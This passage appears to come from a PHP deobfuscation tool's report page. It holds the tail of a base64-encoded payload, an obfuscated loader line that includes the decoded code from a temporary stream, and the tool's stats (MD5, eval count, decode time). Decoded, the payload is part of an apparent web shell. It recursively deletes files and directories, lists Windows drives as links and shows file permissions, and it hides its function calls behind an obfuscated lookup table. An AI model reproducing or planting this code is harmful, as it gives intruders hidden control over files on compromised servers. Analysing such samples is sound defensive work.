XJzID0gYXJyYXkoJGRpcik7CiAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgZm9yICgkaSA9IDA7OyAkaSsrKSB7CiAgICAgICAgaWYgKGlzc2V0KCRkaXJzWyRpXSkpCiAgICAgICAgICAgICRkaXIgPSAgJGRpcnNbJGldOwogICAgICAgIGVsc2UKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGlmICgkb3BlbkRpciA9IG9wZW5kaXIoJGRpcikpIHsKICAgICAgICAgICAgd2hpbGUgKCRyZWFkRGlyID0gQHJlYWRkaXIoJG9wZW5EaXIpKSB7CiAgICAgICAgICAgICAgICBpZiAoJHJlYWREaXIgIT0gIi4iICYmICRyZWFkRGlyICE9ICIuLiIpIHsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCRHTE9CQUxTWydmdW5nc2knXVsyXSgkZGlyIC4gIi8iIC4gJHJlYWREaXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJzW10gPSAkZGlyIC4gIi8iIC4gJHJlYWREaXI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpciAuICIvIiAuICRyZWFkRGlyOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCgoKICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewogICAgICAgICRHTE9CQUxTWydmdW5nc2knXVsyNF0oJGZpbGUpOwogICAgfQogICAgJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKICAgIGZvcmVhY2ggKCRkaXJzIGFzICRkaXIpIHsKICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMjVdKCRkaXIpOwogICAgfQp9CgpmdW5jdGlvbiByZW1vdmVfZG90KCRmaWxlKQp7CiAgICAkRklMRVMgPSAkZmlsZTsKICAgICRwY2ggPSBleHBsb2RlKCIuIiwgJEZJTEVTKTsKICAgIHJldHVybiAkcGNoWzBdOwp9CgoKZnVuY3Rpb24gd2luZG93c0RyaXZlcigpCnsKICAgICR3aW5BcnIgPSBbCiAgICAgICAgJ0EnLCAnQicsICdDJywgJ0QnLCAnRScsICdGJywgJ0cnLCAnSCcsICdJJywgJ0onLCAnSycsICdMJywgJ00nLCAnTicsICdPJywgJ1AnLCAnUScsICdSJywgJ1MnLCAnVCcsICdWJywgJ1cnLCAnWCcsICdZJywgJ1onCiAgICBdOwogICAgZm9yZWFjaCAoJHdpbkFyciBhcyAkd2luTnVtID0+ICR3aW5WYWwpIHsKICAgICAgICBpZiAoaXNfZGlyKCR3aW5WYWwgLiAiOi8iKSkgewogICAgICAgICAgICBlY2hvICI8YSBzdHlsZT0nY29sb3I6b3JhbmdlOyBmb250LXdlaWdodDpib2xkOycgaHJlZj0nP2Q9IiAuIGh4KCR3aW5WYWwgLiAiOi8iKSAuICInPlsgIiAuICR3aW5WYWwgLiAiIF08L2E+Jm5ic3A7IjsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIG5hbWFQYW5qYW5nKCR2YWx1ZSkKewogICAgJG5hbWFOeWEgPSAkdmFsdWU7CiAgICAkZXh0ZW5zaSA9IHBhdGhpbmZvKCR2YWx1ZSwgUEFUSElORk9fRVhURU5TSU9OKTsKICAgIGlmIChzdHJsZW4oJG5hbWFOeWEpID4gMzApIHsKICAgICAgICByZXR1cm4gc3Vic3RyKCRuYW1hTnlhLCAwLCAzMCkgLiAiLi4uIjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICR2YWx1ZTsKICAgIH0KfQoKZnVuY3Rpb24gcGVybXMoJGZpbGUpCnsKICAgICRwZXJtcyA9ICRHTE9CQUxTWydmdW5nc2knXVs2XSgkZmlsZSk7CiAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7CiAgICAgICAgLy8gU29ja2V0CiAgICAgICAgJGluZm8gPSAncyc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7CiAgICAgICAgLy8gU3ltYm9saWMgTGluawogICAgICAgICRpbmZvID0gJ2wnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgewogICAgICAgIC8vIFJlZ3VsYXIKICAgICAgICAkaW5mbyA9ICctJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsKICAgICAgICAvLyBCbG9jayBzcGVjaWFsCiAgICAgICAgJGluZm8gPSAnYic7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7CiAgICAgICAgLy8gRGlyZWN0b3J5CiAgICAgICAgJGluZm8gPSAnZCc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7CiAgICAgICAgLy8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAkaW5mbyA9ICdjJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsKICAgICAgICAvLyBGSUZPIHBpcGUKICAgICAgICAkaW5mbyA9ICdwJzsKICAgIH0gZWxzZSB7CiAgICAgICAgLy8gVW5rbm93bgogICAgICAgICRpbmZvID0gJ3UnOwogICAgfQogICAgLy8gT3duZXIKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcpIDogKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAgICAvLyBHcm91cAogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwogICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JykgOiAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCiAgICAvLyBXb3JsZAogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPwogICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JykgOiAoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKICAgIHJldHVybiAkaW5mbzsKfQo/Pg=="));
include sTreaM_gEt_Meta_daTa(${${"GLOBALS"}["xlrjsyu"]})["uri"];
fCloSe(${${"GLOBALS"}["xlrjsyu"]});

Function Calls

None

Variables

None

Stats

MD5 e6b229e9eca2f1d5a9994818bc568655
Eval Count 0
Decode Time 2581 ms